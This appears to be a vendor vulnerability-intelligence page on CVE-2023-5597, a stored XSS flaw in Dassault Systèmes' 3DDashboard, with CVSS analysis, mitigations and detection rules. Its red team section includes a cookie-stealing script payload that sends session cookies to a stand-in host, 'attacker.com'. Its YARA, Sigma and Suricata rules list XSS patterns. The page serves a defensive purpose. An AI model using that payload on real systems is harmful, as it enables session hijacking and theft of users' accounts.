CVE-2023-5597
Executive Summary
CVE-2023-5597 is a stored Cross-Site Scripting (XSS) vulnerability affecting the 3DDashboard component within the 3DSwymer platform of Dassault Systèmes' 3DEXPERIENCE suite. The vulnerability exists in releases from R2023x through R2024x. An authenticated attacker with low privileges can inject arbitrary script code into the dashboard, which is then stored and executed in the browsers of other users who view the affected dashboard. This can lead to session hijacking, data theft, or further lateral movement within the 3DEXPERIENCE environment. The CVSS score is 5.4 (Medium), and no public exploit code or patch details are currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to open-source package ecosystems (NPM, PyPI, Go, Ruby). It affects a proprietary enterprise software suite (3DEXPERIENCE) from Dassault Systèmes. No supply chain or package security implications are present.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
- Base Score: 5.4 (Medium)
- Attack Vector: Network (AV:N) – The vulnerability is exploitable remotely over the network.
- Attack Complexity: Low (AC:L) – No special conditions or complex attack sequences are required.
- Privileges Required: Low (PR:L) – An attacker needs valid low-privileged credentials to the 3DDashboard.
- User Interaction: Required (UI:R) – The victim must click on or interact with the malicious content.
- Scope: Changed (S:C) – The injected script can impact resources beyond the vulnerable component (e.g., other user sessions).
- Confidentiality Impact: Low (C:L) – Limited data exposure possible.
- Integrity Impact: Low (I:L) – Limited ability to modify data.
- Availability Impact: None (A:N) – No direct denial-of-service impact.
Threat Level: Medium. While the CVSS score is moderate, the stored XSS nature in an enterprise collaboration platform (3DEXPERIENCE) can be leveraged for targeted attacks, credential theft, and lateral movement within the organization's PLM/engineering environment.
Deep Dive & Mechanics
The vulnerability resides in the 3DDashboard component of 3DSwyper, which is part of the 3DEXPERIENCE platform. The dashboard allows users to create and share widgets, reports, and other content. The flaw is a classic stored XSS: user-supplied input (e.g., widget titles, descriptions, or custom HTML/JavaScript content) is not properly sanitized or encoded before being stored in the backend database and later rendered in other users' browsers.
Attack Flow:
- An attacker with low-privileged access to the 3DDashboard creates a new widget or modifies an existing one.
- The attacker injects malicious JavaScript code into a field that is not sanitized (e.g., widget title, description, or a custom HTML block).
- The malicious payload is stored in the 3DEXPERIENCE database.
- When another user (including administrators) views the dashboard containing the malicious widget, the injected script executes in their browser context.
- The script can perform actions such as:
- Stealing session cookies (if not HttpOnly).
- Exfiltrating sensitive data displayed on the dashboard.
- Performing actions on behalf of the victim (e.g., creating new users, modifying projects).
- Redirecting to phishing pages.
Root Cause: Lack of output encoding/escaping when rendering user-controlled data in the 3DDashboard web interface. The application likely uses a templating engine that does not automatically escape HTML/JavaScript.
Vulnerable vs. Patched Code
Since no patch is available, we can only hypothesize the vulnerable code pattern and the fix.
Vulnerable Code (Conceptual - Server-Side Rendering):
// Vulnerable: Directly embedding user input into HTML
function renderWidget(widget) {
return `<div class="widget">
<h3>${widget.title}</h3>
<p>${widget.description}</p>
</div>`;
}
Patched Code (Conceptual):
// Patched: Properly escaping user input
function escapeHtml(unsafe) {
return unsafe.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">")
.replace(/"/g, """).replace(/'/g, "'");
}
function renderWidget(widget) {
return `<div class="widget">
<h3>${escapeHtml(widget.title)}</h3>
<p>${escapeHtml(widget.description)}</p>
</div>`;
}
Client-Side Rendering (React/Angular):
- Vulnerable: Using
dangerouslySetInnerHTMLorinnerHTMLwithout sanitization. - Patched: Using React's default JSX escaping or Angular's sanitization (DomSanitizer).
Exploitation & Lab Setup
Red Team
Prerequisites:
- Access to a 3DEXPERIENCE instance (R2023x to R2024x) with a low-privileged user account.
- A web browser with developer tools.
Exploitation Steps:
- Log in to the 3DDashboard as a low-privileged user.
- Navigate to a dashboard where you can create or edit widgets.
- In a field that accepts HTML (e.g., widget description, custom HTML block), inject the following payload:
Or a more sophisticated payload for cookie theft:<script>alert('XSS')</script><script> var img = new Image(); img.src = 'http://attacker.com/steal?cookie=' + document.cookie; </script> - Save the widget.
- Wait for another user (e.g., an administrator) to view the dashboard. The script will execute in their browser.
Note: Since no public exploit code exists, this is a conceptual demonstration. The actual vulnerable field may require bypassing filters (e.g., using onerror, onload, or SVG-based XSS).
Blue Team
Detection & Prevention:
- Input Validation: Implement strict server-side validation of all user inputs. Reject or sanitize any HTML/JavaScript content unless explicitly required.
- Output Encoding: Use context-aware output encoding (e.g., HTML entity encoding for HTML context, JavaScript encoding for script context).
- Content Security Policy (CSP): Deploy a strict CSP that blocks inline scripts and only allows trusted sources. Example:
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; - HttpOnly Cookies: Ensure session cookies have the
HttpOnlyflag set to prevent JavaScript access. - Web Application Firewall (WAF): Deploy a WAF with rules to detect and block common XSS payloads (e.g.,
<script>,onerror,javascript:). - User Education: Train users to be cautious of unexpected content in dashboards and to report suspicious widgets.
Indicators of Compromise (IOCs)
- Network IOCs:
- Outbound HTTP requests to attacker-controlled domains containing
?cookie=or similar parameters. - Unusual
Refererheaders pointing to 3DDashboard URLs.
- Outbound HTTP requests to attacker-controlled domains containing
- Host IOCs:
- Unexpected JavaScript files or inline scripts in the 3DDashboard HTML source.
- Modified widget content containing
<script>,<img onerror>, or other XSS patterns.
- Log IOCs:
- Server logs showing requests to
/3DDashboard/...with encoded XSS payloads in POST parameters. - Application logs indicating failed input validation attempts.
- Server logs showing requests to
Detection Engineering
YARA Rule
rule CVE_2023_5597_XSS_Payload {
meta:
description = "Detects common XSS payloads targeting 3DDashboard"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2023-5597"
strings:
$xss1 = "<script>" nocase
$xss2 = "onerror=" nocase
$xss3 = "onload=" nocase
$xss4 = "javascript:" nocase
$xss5 = "alert(" nocase
$xss6 = "document.cookie" nocase
$xss7 = "fetch(" nocase
condition:
any of ($xss*)
}
Sigma Rule
title: CVE-2023-5597 Stored XSS in 3DDashboard
id: 3a4b5c6d-7e8f-9a0b-1c2d-3e4f5a6b7c8d
status: experimental
description: Detects potential stored XSS payloads in 3DDashboard POST requests
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: httpd
detection:
selection:
cs-method: 'POST'
c-uri|contains: '/3DDashboard/'
cs-uri-query|contains:
- '<script'
- 'onerror='
- 'onload='
- 'javascript:'
- 'alert('
condition: selection
falsepositives:
- Legitimate use of JavaScript in widget descriptions (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2023-5597 Stored XSS Payload in 3DDashboard"; flow:to_server,established; content:"POST"; http_method; content:"/3DDashboard/"; http_uri; pcre:"/(<script|onerror=|onload=|javascript:|alert\()/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate Affected Systems: If possible, restrict access to the 3DDashboard to trusted users only until a patch is applied.
- Disable HTML Widgets: If the 3DDashboard allows custom HTML widgets, disable this feature temporarily.
- Apply WAF Rules: Deploy custom WAF rules to block common XSS payloads in requests to
/3DDashboard/.
Long-Term Fix:
- Apply Vendor Patch: Monitor Dassault Systèmes' security advisories for an official patch. Apply it as soon as it becomes available.
- Upgrade to Patched Version: If a patched version (e.g., R2025x or a hotfix) is released, upgrade immediately.
- Code Review: Conduct a thorough code review of the 3DDashboard component to identify and fix all XSS vulnerabilities.
- Implement CSP: Deploy a strict Content Security Policy to mitigate the impact of any future XSS vulnerabilities.
Workaround (If No Patch Available):
- Input Sanitization: Use a server-side HTML sanitizer (e.g., DOMPurify on the server) to strip dangerous tags and attributes from user input.
- Output Encoding: Ensure all user-controlled data is properly encoded before rendering in HTML, JavaScript, or URL contexts.
Valters IT
DevSecOps & Cyber Threat Intelligence
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.